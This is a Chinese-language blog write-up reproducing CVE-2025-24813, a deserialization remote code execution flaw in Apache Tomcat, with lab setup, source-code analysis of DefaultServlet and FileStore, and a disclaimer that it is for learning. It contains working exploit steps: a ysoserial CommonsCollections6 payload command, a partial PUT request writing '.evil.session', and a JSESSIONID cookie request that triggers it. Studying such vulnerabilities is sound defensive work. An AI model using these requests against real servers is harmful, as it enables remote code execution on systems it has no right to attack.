CVE-2025-24813 RCE复现
免责声明:本文只用作技术分析和学习,任何利用本文内容进行非法攻击的行为均与作者无关!!!
(也是写上免责声明了哈哈哈)
文章首发于 https://www.freebuf.com/vuls/425025.html
漏洞简介
漏洞描述
Apache Tomcat在特定配置下,存在反序列化漏洞。
攻击者通过构造恶意的请求,利用特定配置 **文件会话持久机制 **将恶意序列化数据写入服务器中,并在后续请求中触发反序列化操作,从而导致远程代码的执行
漏洞通报细节如下
https://blog.nsfocus.net/cve-2025-24813/
影响范围
该漏洞影响范围如下
9.0.0.M1 <= Apache Tomcat <= 9.0.98
10.1.0-M1 <= Apache Tomcat <= 10.1.34
11.0.0-M1 <= Apache Tomcat <= 11.0.2
漏洞利用条件
DefaultServlet 写入功能启用:需要在web.xml
中配置readonly=false
PartialPUT请求支持:tomcat中默认支持分块上传
文件会话持久化启用:在 context.xml 中配置 PersistentManager 和 FileStore
存在反序列化的利用链:需要包含漏洞的库(这里使用commons-collections-3.2.1.jar)
漏洞原理
Tomcat中文件会话持久化技术,Content-Range
在Tomcat的HTTP PUT请求中主要实现用于大文件的分块传输,在文件上传未完成的情况下,会被临时储存在Tomcat的工作目录下CATALINA_BASE/work/Catalina/localhost/ROOT
中
漏洞核心在于:对不完整的PUT请求上传的文件名处理机制:文件路径中的分隔符/
会被转化为.
。例如:对于PUT请求的路径/evil/session
会被解析为.evil.session
中
Tomcat的File会话存储默认路径同样位于:CATALINA_BASE/work/Catalina/localhost/ROOT
,在Cookie中带有JSESSIONID
字段时,Tomcat会将该字段中的.id
与.session
拼接,并从会话存储路径中寻找文件名为.id.session
的文件,对该文件的内容进行反序列化操作,从而触发攻击链
漏洞利用过程
当存在反序列化利用链时,上传包含恶意的序列化数据文件(临时存储在CATALINA_BASE/work/Catalina/localhost/ROOT
)
通过设置JSESSIONID=.xxxx
来触发漏洞(位置也在CATALINA_BASE/work/Catalina/localhost/ROOT
)
漏洞复现
环境搭建
Tomcat环境参考P神知识星球《用Intellij Idea调试Tomcat.pdf》
若师傅们可以自行搭建环境,可以跳过该部分QAQ
Maven
创建好的目录大概如下
Tomcat
TomCat下载:https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/
我们需要下载以下这两个安装包(后续都会有用的)
接下来我们需要导入依赖,这里将我们前面下载的Tomcat里所有的依赖直接添加到我们项目中
找到下载的Tomcat下的lib包,将所有jar文件导入点击确定
为了后面的源码调试和防止源码调试过程中的反编译字节码与源码对于不上,我们还需要做两个操作
将src源码下的java文件夹导入
将deployer下lib文件夹中的tomcat-juli.jar
导入,并点击确定,这步我们就完成了
在我们刚刚创建好的项目处,配置我们的Tomcat环境
接下来我们创建Tomcat启动程序
并且创建好Tomcat启动程序后,我们要进行配置
我们可以看到,在部署下是没有任何东西的,我们需要点击修复(fix),选择exploded
其中这里的目录可以随意
后续还有一个步骤才算完成,我们去Tomcat的bin目录下的catalina.bat
文件中添加这么一段话(IDEA配置Tomcat工作目录好像是在C盘下IDEA中的一个地方,而我们需要设置CATALINA_BASE
在Tomcat下)
1 set "CATALINA_BASE=F:\java\apache-tomcat-9.0.98"
点击运行后,我们可以看到我们的Tomcat就配置好了,且CATALINA_BASE
也正常
为了满足漏洞环境,我们还需要去Tomcat中去修改一些配置
在Tomcat下conf目录中的context.xml
中,加入以下配置
1 2 3 <Manager className="org.apache.catalina.session.PersistentManager" > <Store className="org.apache.catalina.session.FileStore" /> </Manager>
在同文件夹下的web.xml
中,设置readonly为false(若配置文件中没有则自己添加)
1 2 3 4 5 6 7 8 <servlet> <servlet-name>default </servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>readonly</param-name> <param-value>false </param-value> </init-param> </servlet>
这样我们的漏洞环境就配置好了
漏洞实现
现在我们来用已有的POC,简单复现一下这个漏洞
我们用ysoserial
去生成一个CC6的恶意序列化数据
1 java -jar ysoserial.jar CommonsCollections6 "Calc" > payload.ser
用PUT请求去上传,数据包如下
我们需要注意的是Range的分块值需要与Length保持一致,且大于当前文件的长度。
1 2 3 4 5 6 PUT /evil/session HTTP/1.1 Host: 192.168 .131 .32 :8080 Content-Length: 1000 Content-Range: bytes 0 -1000 /1200 {{反序列化文件内容)}}
这里可以使用curl命令,效果也是一样的
1 curl -X PUT -H "Content-Range: bytes 0-999/1200" --data-binary @payload .ser http:
然后我们就可以看到,在ROOT目录下,存在了一个.evil.session
文件,里面存放着我们的恶意序列化数据
然后我们需要用以下数据包,去触发我们恶意序列化数据的反序列化操作
1 2 3 GET / HTTP/1.1 Host: 192.168 .131 .32 :8080 Cookie: JSESSIONID=.evil
发送数据包后即可弹出计算器(另一个发现是,在一段时间后,他会自动去触发该payload,并且清空我们所上传的.evil.session
文件)
源码分析
该漏洞实现存在两个点
能够上传包含有恶意内容 且构造混淆文件名 的恶意文件
session文件的默认存储点正好位于当前Context的临时文件夹下,在处理cookie时中JSESSIONID
时会对ROOT目录下id.session
的文件进行反序列化操作
两者本身根据都没有很大问题,但是合在一起就构成了RCE漏洞(很有魅力了网安)
临时文件创建源码分析
漏洞存在在`DefaultServlet`中`doPut`方法,里面存在一个`executePartialPut`方法,是些临时文件的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 protected void doPut (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (this .readOnly) { this .sendNotAllowed(req, resp); } else { String path = this .getRelativePath(req); WebResource resource = this .resources.getResource(path); Range range = this .parseContentRange(req, resp); if (range != null ) { InputStream resourceInputStream = null ; try { if (range == IGNORE) { resourceInputStream = req.getInputStream(); } else { File contentFile = this .executePartialPut(req, range, path); resourceInputStream = new FileInputStream (contentFile); } if (this .resources.write(path, (InputStream)resourceInputStream, true )) { if (resource.exists()) { resp.setStatus(204 ); } else { resp.setStatus(201 ); } } else { try { resp.sendError(409 ); } catch (IllegalStateException var15) { } } }...... } } }
通过调试,想要走入我们的executePartialPut
方法,就要设置一个合法的Content-Range
,若不设置,就会走入if判断中
我们继续走进executePartialPut
方法中,我在代码中写入了一些注释分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 protected File executePartialPut (HttpServletRequest req, Range range, String path) throws IOException { File tempDir = (File)this .getServletContext().getAttribute("javax.servlet.context.tempdir" ); String convertedResourcePath = path.replace('/' , '.' ); File contentFile = new File (tempDir, convertedResourcePath); if (contentFile.createNewFile()) { contentFile.deleteOnExit(); } RandomAccessFile randAccessContentFile = new RandomAccessFile (contentFile, "rw" ); try { WebResource oldResource = this .resources.getResource(path); if (oldResource.isFile()) { BufferedInputStream bufOldRevStream = new BufferedInputStream (oldResource.getInputStream(), 4096 ); try { byte [] copyBuffer = new byte [4096 ]; int numBytesRead; while ((numBytesRead = bufOldRevStream.read(copyBuffer)) != -1 ) { randAccessContentFile.write(copyBuffer, 0 , numBytesRead); } } catch (Throwable var17) { try { bufOldRevStream.close(); } catch (Throwable var16) { var17.addSuppressed(var16); } throw var17; } bufOldRevStream.close(); } randAccessContentFile.setLength(range.length); randAccessContentFile.seek(range.start); byte [] transferBuffer = new byte [4096 ]; BufferedInputStream requestBufInStream = new BufferedInputStream (req.getInputStream(), 4096 ); int numBytesRead; try { while ((numBytesRead = requestBufInStream.read(transferBuffer)) != -1 ) { randAccessContentFile.write(transferBuffer, 0 , numBytesRead); } } catch (Throwable var18) { try { requestBufInStream.close(); } catch (Throwable var15) { var18.addSuppressed(var15); } throw var18; } requestBufInStream.close(); } catch (Throwable var19) { try { randAccessContentFile.close(); } catch (Throwable var14) { var19.addSuppressed(var14); } throw var19; } randAccessContentFile.close(); return contentFile; }
大概就是,将一个path中的/
替换为.
后当作文件名 ,然后写入到工作目录下的ROOT路径下的 .evil.session
中
当走到return contentFile
时,我们的恶意文件已经写好了
触发反序列化源码分析
下断点后,我们可以看到,调用流程如下,我们从比较重要的`load`方法开始分析
这个触发点在FileStore
中的load
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 @Override public Session load (String id) throws ClassNotFoundException, IOException { File file = file(id); if (file == null || !file.exists()) { return null ; } Context context = getManager().getContext(); Log contextLog = context.getLogger(); if (contextLog.isTraceEnabled()) { contextLog.trace(sm.getString(getStoreName() + ".loading" , id, file.getAbsolutePath())); } ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null ); try (FileInputStream fis = new FileInputStream (file.getAbsolutePath()); ObjectInputStream ois = getObjectInputStream(fis)) { StandardSession session = (StandardSession) manager.createEmptySession(); session.readObjectData(ois); session.setManager(manager); return session; } catch (FileNotFoundException e) { if (contextLog.isDebugEnabled()) { contextLog.debug(sm.getString("fileStore.noFile" , id, file.getAbsolutePath())); } return null ; } finally { context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL); } }
我们看到file
方法中,这里会接受到我们Cookie中的id,然后与.session
拼接起来,然后将文件名为.evil.session
的File类型的属性返回回去
返回后,会将文件的内容以流的方式去读出来,然后放到StandardSession.readObjectData
中去进行反序列化操作
进入readObjectData
的调用流程如下,最后调用readObject
反序列化,触发我们构造的CC6链
1 2 3 4 5 6 7 8 9 10 11 12 13 session.readObjectData(ois); public void readObjectData (ObjectInputStream stream) throws ClassNotFoundException, IOException { doReadObject(stream); } protected void doReadObject (ObjectInputStream stream) throws ClassNotFoundException, IOException { ...... creationTime = ((Long) stream.readObject()).longValue(); ...... }
成功弹出计算器
小结
漏洞触发的流程如下
攻击者通过partialPut
方法向临时文件存放的文件夹下写入带有恶意反序列化数据的文件(这个临时文件夹也是session临时存放的文件夹),利用替换机制(/
替换为.
)构造一个符合session文件名称标准的文件
在Cookie中带上JSESSIONID=.evil
,tomcat会从session临时存放的位置中,寻找.id.session
文件,将文件中的数据进行反序列化操作,从而触发恶意攻击链
结语
最近在学java安全,看到学长发出来的新漏洞,就想着调试分析一下,也是拖了好几天哈哈哈哈,分析下来,感觉整个流程很容易理解,但是发现感觉是很难了QAQ
如果在文章中存在一些错误的地方,望大佬们指正,我是小白 轻点喷>_<